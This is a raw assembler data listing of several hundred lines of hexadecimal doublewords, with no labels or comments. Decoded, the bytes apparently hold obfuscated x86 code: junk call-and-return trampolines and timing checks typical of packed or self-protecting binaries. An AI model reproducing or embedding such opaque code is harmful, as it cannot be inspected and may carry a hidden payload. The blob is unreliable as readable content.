		dd 8589A5C9h, 60B02DDh,	0E7EECBFh, 8E9502Ah, 0A1000000h
		dd 2634EC9h, 896111B3h,	9D8B2404h, 60B31E1h, 0DCDB589h
		dd 95FF060Bh, 60B03D1h,	228DBD8Bh, 6A61060Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0C7B1C357h, 0B100985h, 306h,	0D98B6600h, 0A81DBD83h
		dd 0F00060Eh, 2C84h, 42E900h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A99299C3h
		dd 9C5013D5h, 0B74A4E7Eh, 0C3050CCh, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 14FD9D8Bh, 0BD0B060Bh, 60B1255h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h
		dd 0E1BFCF83h, 9860F9A6h, 6870F5Fh, 8B000000h, 0B2A49BDh
		dd 9BD8306h, 3060B10h, 3AF850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6190B6C3h
		dd 43F29EC7h, 1DBD83F5h, 60EA8h, 37F840Fh, 0F3810000h
		dd 10F1EE30h, 0A81DB5FFh, 8B60060Eh, 0B05A585h,	75858B06h
		dd 61060B33h, 83D95FFh,	6A060Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0EA97F2C3h, 0BB66A605h
		dd 0B58BF226h, 60EA811h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 66C35242h, 2B9BD8Bh, 6C7060Bh, 10001h
		dd 96FE8B66h, 0BE95250h, 3000000h, 8CFC99A1h, 0AC2EBC8Ch
		dd 310F803Ah, 585AF98Bh, 0BE950h, 11900000h, 577A7C80h
		dd 3AFA08BDh, 6A96CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0A9F6FEC3h, 8C0F1F11h, 6, 7CD9D89h
		dd 0BD89060Bh, 60B32B9h, 0A81DB5FFh, 0BD8B060Eh, 60B1265h
		dd 64195FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9FAD22C3h, 9D8BE30Ah, 60B0B51h
		dd 14E59D89h, 0B58B060Bh, 60EA811h, 46EB8166h, 1D858B6Fh
		dd 8B060B12h, 0B2DFDBDh, 0C4868906h, 0BB000000h, 6B47C921h
		dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 8A5211C3h, 7B0FA517h, 0DA8BF98Bh
		dd 3104C283h, 0B18359Dh, 0ED9D8906h, 89060B02h,	6A2050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 54333C3h, 7C795DE5h,	0F51EFBDh, 584h, 0E6AEBB00h, 0F5F5840h
		dd 686h, 0DBD0900h, 8D060B19h, 0EBAEE85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0C555AA2Ch, 89FB8B66h, 0B886h, 0DF816600h, 6ABA5Bh
		dd 0A81DB5FFh, 5356060Eh, 830Fh, 5B5B0000h, 0F1595FFh
		dd 9D89060Bh, 60B0B75h,	15BB6696h, 0BB665087h, 6A96ECDAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 6C4BC357h, 57EB9E7Eh, 0AD161544h,	0D318D89h
		dd 0B5FF060Bh, 60EA81Dh, 741BD89h, 95FF060Bh, 60B00F5h
		dd 860Fh, 0BD830000h, 60B2191h,	5A840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 96BAC352h, 0DA8B5760h, 5B50515Ah, 8B50615Eh,	6A96FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0B56EAFC3h, 0C5458B06h, 68C0F81h, 1000000h, 0B190D85h
		dd 1DB5FF06h, 66060EA8h, 95FFDF8Bh, 60B1281h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h
		dd 0D13F381h, 840F2983h, 6, 2781BD29h, 0B5FF060Bh, 60EA81Dh
		dd 8D95FFF8h, 6A060B0Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 41F3C350h, 63AA4ACCh
		dd 1FB5BD8Bh, 0BD83060Bh, 60B17F1h, 37840F02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 5EF4C353h, 0DB9416EAh, 0C5858B62h, 8B060B2Eh
		dd 0B18E9BDh, 0C606h, 8BCF8B60h, 85C761C6h, 60B06B9h, 0
		dd 0A4EABF56h, 35B5BEBh, 0B2F299Dh, 0F42CE906h,	6AFFFFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0B4F1C3h, 0F5A2ACB6h, 8166C18Bh, 8DE407EFh, 0B28A985h
		dd 0F5BD8906h, 8B060B20h, 0B03BDBDh, 76BF9006h,	501D67CAh
		dd 46B75250h, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 7B3FE764h, 87878F4Ah
		dd 9D8B93CFh, 60B2AA1h,	0E9DBD89h, 0E953060Bh, 7, 0EC72C644h
		dd 5B65EE01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E7F684C3h, 6A5A2D11h, 6AFE8BFBh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0F19DC549h, 0A40B5632h, 820F46E4h, 0Fh
		dd 0AE9h, 571BB500h, 4A4F6674h,	890C142Bh, 0B0BAD95h, 0B1B58906h
		dd 8D060B15h, 0FCEFD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 5DDAE9E6h, 13C380C8h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2479C350h, 0DE2BEB81h,	0B3906AAAh
		dd 8A6050FBh, 0FE8B66F1h, 8C0F9061h, 0
		dd 8166006Ah, 6A68E7E7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 725B0330h, 2776D22Fh
		dd 175BD33h, 95FF060Bh,	60B2F21h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5DC35646h, 4C50E32Eh, 10E80719h
		dd 94000000h, 0AC68C6Eh, 33383AF4h, 583948F1h, 0F90A4B7h
		dd 8D5FDFBFh, 0EA7B08Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0A00E6D7Ah, 83D1FF4Eh
		dd 0B0B19BDh, 850F0106h, 85h, 26AF6B3h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0C2C35141h, 47D48170h
		dd 0FABF0FADh, 10D9D8Bh, 0BF90060Bh, 7EEC046Ch,	736FBF50h
		dd 6A901C32h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0AC36C353h, 0F3DBD8Bh,	95FF060Bh
		dd 60B0F15h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	78C35040h, 90EA084Dh, 10B4E9B5h, 0E80000h, 5D000000h
		dd 0CF07ED81h, 0CE8060Fh, 0B0000000h, 6DE89007h, 5A8C8284h
		dd 13AF073h, 0B202DB5h,	6A5B06h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 4B4A6FC3h, 3B4BF441h
		dd 1DDF81AEh, 8D2D5923h, 0E929385h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5FC523EEh
		dd 7159A77Dh, 800FA9C4h, 5, 0ABD38166h,	0B9B58903h, 50060B02h
		dd 52505356h, 585A310Fh, 4895B5Bh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 81664E2Dh
		dd 0F3972CBh, 0C8Dh, 6880F00h, 8B000000h, 0B0331BDh, 0EBD38106h
		dd 643A0927h, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 647D8AC3h, 896496CFh
		dd 25h,	185EBB00h, 85FF090Eh, 60B066Dh,	0B1D9D23h, 8B66060Bh
		dd 6AFF6ADFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 6F6AC351h, 711C1213h, 0E9769851h
		dd 9, 0EBE7604Eh, 0C675612Eh, 55B5FF81h, 6A060B23h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 84ADC352h, 6ECCA542h, 66605394h, 46D8F181h, 61D6BF0Fh
		dd 0C61BD8Bh, 95FF060Bh, 60B2411h, 12CE9h, 89B50100h, 0B0060B33h
		dd 9D896000h, 60B0209h,	0E970E661h, 5, 116C9481h, 3371E464h
		dd 0B0CA1BDh, 0F613C06h, 10083h, 0BE900h, 78CF0000h, 0B6243649h
		dd 0F89CCA58h, 0C8B60F7Eh, 2AABF66h, 6BAh, 0CE900h, 0C35D0000h
		dd 303C2F7Ch, 0C01A6810h, 0C18BC956h, 14E9h, 718B7200h
		dd 3FF26266h, 38A766DCh, 3B931896h, 0A4D37B16h,	919589ACh
		dd 0C1060B01h, 0F76604E8h, 0E9B589E2h, 2B060B22h, 199D23C8h
		dd 8B060B0Dh, 14E9D1h, 25B70000h, 0FE07DEBDh, 6A7AF155h
		dd 8357009Bh, 410219A1h, 7EE988CDh, 66000000h, 8B7066BFh
		dd 485h, 7C08300h, 0CE9h, 0FF0CE00h, 0B72DDC1Ch, 785AEBE3h
		dd 25BD0BAAh, 83060B00h, 0BD8B00C0h, 60B246Dh, 830FD03Bh
		dd 14h,	2FDBD8Bh, 3EE9060Bh, 81000000h,	0D1CF04DFh, 46EF802Eh
		dd 0FFFF8D8Bh, 8166FFFFh, 83C6AFC3h, 840F01E1h,	21h, 13519D8Bh
		dd 0A583060Bh, 0FFFFFFFFh, 0ED9D8BFEh, 89060B2Eh, 495h
		dd 0FAB70F00h, 0E9h, 0B1B58D00h, 89060F4Fh, 0B1E95B5h
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C6DCC350h, 0DD95FFF5h, 6A060B32h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 813FC350h, 3A3AE3E3h, 4A52BB0Bh, 0ABB942FDh
		dd 5600000Fh, 5FFE8B66h, 88C0Fh, 9500000h, 0B2AD18Dh, 0E1835F06h
		dd 50006AFCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A2491C4Ah, 0ED8D2953h, 0FC060B00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3BC35545h, 9BDEE982h
		dd 4616BC14h, 0DE93Dh, 61600000h, 0CD9B637h, 4753AB89h
		dd 0B840B1A2h, 0
		dd 28D9BD8Bh, 0D98B060Bh, 0BAh,	11E900h, 55BE0000h, 0C0392031h
		dd 592E337Fh, 5C4A969Ah, 0ADF70FD1h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0D9D0C350h, 8019D8Bh, 9D8B060Bh
		dd 60B1A85h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 1BB5B5C7h, 35BD8957h
		dd 8B060B10h, 0B174D95h, 0C5BD8B06h, 8B060B18h,	0B01198Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 50426D66h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A9C0B323h, 759D8BCBh, 6A060B02h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5980C356h, 83FB8BB4h, 0B29BDBDh, 840F0006h
		dd 94h,	0B8F88Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A16FC353h,	8D61B3CDh
		dd 0B4DD78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0BE99C3E8h, 0E0C22B18h, 68B0FDAh
		dd 8B000000h, 0B32E59Dh, 0D59D8B06h, 0F060B08h,	682h, 0E59D8900h
		dd 0FF060B21h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D89D6DDh, 60B04A1h, 1009BD83h
		dd 0F00060Bh, 56284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 941C479Dh, 0BD8302D9h
		dd 60B1009h, 4F840F01h,	6A000005h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0DA4DC355h
		dd 0F88B66B9h, 1009BD83h, 0F03060Bh, 4EB86h, 0F4DB8000h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 32CD1320h, 66F98B66h, 0DC8AD98Ch, 6A04E180h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 7FA9C357h, 60A4F9A2h, 958D2Bh, 0EE8060Bh
		dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 0CFB70FF1h
		dd 9D896158h, 60B035Dh,	840FC90Ah, 17Ah, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 11C35141h, 7D858B79h
		dd 6A060B31h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 193C351h, 33DE8B4Bh, 0B06ED85h
		dd 12E85006h, 0A6000000h, 8A1B826Dh, 97FE3946h,	4E124506h
		dd 0D6779F6h, 118D3114h, 5F060B01h, 0B656BF5Fh,	0E9906F9Eh
		dd 7, 5DFB828Dh, 500FEFBFh, 52506051h, 585A310Fh, 0D6C9B966h
		dd 6A905F61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E83FC353h, 7,	5ECBF296h, 0BF5BDAB7h
		dd 41000BD9h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 51DBC350h, 0C840Fh
		dd 870F0000h, 6, 810Fh,	6E90000h, 0BE000000h, 53547760h
		dd 0BE0E68DEh, 8E994C9h, 0EB000000h, 1E12F53Ah,	819A7A81h
		dd 45F12404h, 6A6B55h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 61D005C3h, 260D3987h, 0DE8F7AFh
		dd 0FA000000h, 8074699Ah, 370F11B9h, 0B8CA0C84h, 0D3B96660h
		dd 39958B16h, 61060B24h, 0D195FF5Bh, 89060B03h,	0B001195h
		dd 1D858906h, 8B060EA8h, 0B04C19Dh, 294E906h, 95890000h
		dd 60B0871h, 8E0Fh, 858B0000h, 60EA815h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 1AC35343h, 6860Fh
		dd 8D290000h, 60B0B69h,	8E9h, 164AF000h, 85473C34h, 1800C722h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 2136C350h, 8BE5AF44h, 0EA819B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 3893A797h, 959589F8h, 8B060B02h,	0B06E185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0FBE77058h, 91C78100h, 0F8215C9Ch, 6A0689h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1D96A7C3h, 0D5191AB3h, 8D09B4C3h, 60B1A6Dh, 8E2ABB66h
		dd 317D858Bh, 0BD8B060Bh, 60B0419h, 0F044689h, 118Fh, 5E800h
		dd 0DE200000h, 338CD68Ch, 0B1B61BDh, 60505F06h,	0F08BF78Bh
		dd 24348961h, 11820Fh, 0CE90000h, 29000000h, 9EC23187h
		dd 0BAC4EC87h, 0FFBADE26h, 0EA815B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0FADB8C59h, 0FDB8600Bh, 81610A90h, 816BF8D3h, 0B960614Ah
		dd 118E8D9h, 6B58D8Bh, 0E861060Bh, 4, 1F03FFh, 0FE953h
		dd 0AB5B0000h, 0FDD4875h, 7402AAA3h, 404DA063h,	8B505F71h
		dd 24448BFBh, 1D800F04h, 50000000h, 0EE852h, 72CC0000h
		dd 6C62104Ah, 5ECC7547h, 0A3EC5472h, 66310F5Bh,	585ADF8Bh
		dd 5F52008Bh, 4244489h,	0FE8h, 34A9B300h, 0D0A4F7A9h, 2F507CB6h
		dd 0CE58EA80h, 310F5250h, 585AFE8Ah, 8D89585Fh,	60B16A5h
		dd 0A81D858Dh, 6A060Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0D3E49FC3h, 57077DFFh, 66E20280h
		dd 50AAF4BBh, 9D567BBh,	24048956h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D3C35141h,	0E98EBADCh, 0Ch
		dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 1A8D9D89h, 95FF060Bh
		dd 60B03D1h, 10E8h, 5FE63600h, 51BB75D4h, 2C64BC22h, 843AB859h
		dd 13E961h, 1AAC0000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh
		dd 0AC9ACFB8h, 6A615B86h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 22C4C353h, 60C380F1h
		dd 100985C7h, 3060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A561BEC3h, 0F88B0D69h
		dd 0A81DBD83h, 0F00060Eh, 1384h, 0BD8B5100h, 60B2815h
		dd 21E95Bh, 0F3810000h,	137B41A6h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 1A12C356h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	41C35141h, 6B45F06h, 97C38114h,	83042FF6h, 0B1009BDh
		dd 850F0306h, 504h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A5C35141h, 6DBB6629h, 5D9D093Bh, 83060B1Fh
		dd 0EA81DBDh, 840F0006h, 4D0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 71C35545h, 8D296078h, 60B1659h
		dd 1DB5FF61h
		dd 6A060EA8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0B0B9C357h, 0EC0E61B9h, 0C781E67Dh
		dd 75483139h, 3EB5F960h, 3D95FF61h, 8B060B08h, 0B0881BDh
		dd 11B58B06h, 6A060EA8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 93D4C356h, 0B70F9177h
		dd 3A294055h, 62DBD89h,	8166060Bh, 0C76239EFh, 1000106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 53CF24D5h, 0EFEF8166h, 81665B8Eh, 509F80E7h
		dd 800F5250h, 13h, 0EE9h, 0E86F3900h, 3ADC5312h, 215D1D50h
		dd 0F503D21h, 10E831h, 22B40000h, 3D4ED41h, 58AB009Fh
		dd 0C49033A9h, 8B66D19Eh, 585A5FFEh, 6A243489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 98A9C356h, 623A265Eh, 0BD0BB47Eh, 60B059Dh, 0E4A6BFh
		dd 1DB5FF2Ah, 6A060EA8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FF92C356h,	0B064195h
		dd 0CE806h, 0E1590000h,	24B9CDF8h, 0DAA768F3h, 0BD31042Bh
		dd 60B1341h, 11B58B5Bh,	6A060EA8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 1117C355h
		dd 3F4A8BFDh, 0FC2118A4h, 121D858Bh, 6A060Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 31AB96C3h
		dd 0B2D8185h, 0C4868906h, 66000000h, 8B8571BFh,	0B174D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0B79C172Bh, 0CC421558h, 50BBED3Dh, 0E97F016Eh
		dd 9, 0F88F75F0h, 0C9FE13FBh, 4C2835Dh,	0A224CBBh, 20508958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D4C35343h
		dd 0BBE1A13Bh, 233123FDh, 0BAEE858Dh, 9D2B060Eh, 60B1AC5h
		dd 29A59589h, 8689060Bh, 0B8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0EAC35141h,	28D0Fh,	0F98A0000h
		dd 0EE9006Ah, 1F000000h, 0ADFD2BD9h, 17660C60h,	0F46404F1h
		dd 1DB5FFECh, 81060EA8h, 0C6C2B3C7h, 1595FF54h,	6A060B0Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0B816C353h, 0E8D833D1h, 14h, 3E8620B8h, 455FDD98h
		dd 37136261h, 0DF7B52A8h, 748646E1h, 1A41BD0Bh,	965F060Bh
		dd 7E8h, 0E98EB600h, 120BB4F2h,	5BDF8B66h, 0AE850h, 8FA00000h
		dd 0ED6E177Dh, 47E12E6Bh, 5FFB8B53h, 6A965Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B5FFA5C3h
		dd 60EA81Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0A1C35747h, 4647A7CBh, 801D651Ch, 95FFF888h, 60B00F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9DC35040h
		dd 0E3812FE0h, 5E3A271Fh, 148D0Fh, 0FE90000h, 26000000h
		dd 3F5E839Eh, 0E9A13368h, 8AB8C973h, 0BD8350C5h, 60B2191h
		dd 2E840F00h, 50000000h, 7E8h, 0D1E36500h, 697389C4h, 2434895Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h
		dd 1DB5FF54h, 6A060EA8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3E9BC353h, 89E81CDBh
		dd 0B01C595h, 8195FF06h, 6A060B12h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 5695C353h
		dd 1FE5BD8Bh, 665F060Bh, 0FF1D2FBBh, 0EA81DB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 90376B74h, 0FF4ABBB8h, 0B0B8D95h, 0F1BD8306h, 2060B17h
		dd 5A840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 8E9DF0C3h, 5E50E546h, 60BF766Eh
		dd 8B61B032h, 0C5858BF9h, 8B060B2Eh, 0B27BD9Dh,	0C606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h
		dd 0DA8BCC6Dh, 6B985C7h, 60Bh, 0BD8B0000h, 60B0355h, 0FFF0D8E9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0CE5DD816h, 81A0BB9Eh, 5D5E06E3h, 6AC18B39h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 3592C352h, 6850Fh, 9D8B0000h, 60B1FF5h, 14E8h
		dd 0BB81C100h, 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h
		dd 6860F0Eh, 8B000000h,	0B02D59Dh, 858D5B06h, 60B28A9h
		dd 2B799D8Bh, 8950060Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0AF07C5C3h, 0B278920Eh
		dd 6A006A05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 8921C356h, 0B71E1056h,	1F498589h
		dd 6A060Bh, 183D9D09h, 858D060Bh, 60FE18Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 69C35343h, 9B79F2CCh
		dd 3892CE09h, 6A05C083h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9BD9C356h, 0AD790CA9h
		dd 72D4D6A4h, 16899D89h, 5050060Bh, 0CE952h, 2D110000h
		dd 0A5FB6A5Ah, 0F129392Bh, 310FD0E6h, 28B0Fh, 61600000h
		dd 489585Ah, 0F98D0124h, 8B060B32h, 6A006AFBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0DE8EC356h, 0FB623912h, 6712B7Dh, 6AFA8Bh, 9DE38166h
		dd 2195FFAAh, 6A060B2Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6391C356h, 4CD21D2Fh
		dd 6CA23863h, 6141BB66h, 0A7B08D8Dh, 8D29060Eh,	60B2A05h
		dd 12E9h, 543B3900h, 0A079E9F7h, 0D1423883h, 65F51FB5h
		dd 0FFD67D9Ch, 6E9D1h, 37960000h, 0E29311D5h, 0B19BD83h
		dd 0F01060Bh, 5685h, 6A76B300h,	53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 3191E110h
		dd 0FCFC5AA4h, 89DF8B50h, 0D7802404h, 1595FF02h, 6A060B0Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 2E88C356h, 0E9A956E0h, 0E03h, 0E8h, 0ED815D00h
		dd 60FE199h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5DC35343h, 7E9FD34h, 7D000000h,	5CBF144Ch, 6A3234h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F7DFDC3h, 687h, 358D8900h, 8D060B04h, 0E929385h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0DDB787FFh, 0D98B6656h, 0AD85015Bh, 50060B16h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C2FAC351h, 2319B0D9h, 8BBEA01Eh,	0B31DD9Dh
		dd 518D8906h, 64060B16h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F64A50C3h
		dd 0BE71531Dh, 816653A0h, 5FAEA8F3h, 5E9h, 0B3F3700h
		dd 8964BF3Fh, 25h, 0EB816600h, 85FF1F47h, 60B066Dh, 6840Fh
		dd 9D8B0000h, 60B31A5h,	0DE9h, 6D8AD000h, 25C5615Eh, 0C97144C3h
		dd 0FF6AA7FEh, 629BD8Bh, 0B5FF060Bh, 60B21D9h, 0FF3FDB80h
		dd 0B241195h, 124E906h,	8A0F0000h, 5, 3A3608BFh, 8900B037h
		dd 0B0F918Dh, 6070E606h, 328D8D89h, 0E461060Bh,	0C1BD8971h
		dd 3C060B29h, 0F7830F61h, 0BB000000h, 367D120Ch, 0FC8B60Fh
		dd 382h, 0FAB70F00h, 0C63BCF81h, 6BA2299h, 8B000000h, 2DBD8BD8h
		dd 8B060B2Ah, 0E8C1F5C1h, 719D8904h, 66060B02h,	8D01E2F7h
		dd 60B1691h, 880FC82Bh,	6, 681BD8Bh, 0EF81060Bh, 14A5BB47h
		dd 0BD8BD18Bh, 60B2B61h, 9DE9h,	0F8BF0F00h, 800Fh, 858B0000h
		dd 5F4C4C44h, 3A6761BFh, 7C0836Bh, 15B19589h, 0C083060Bh
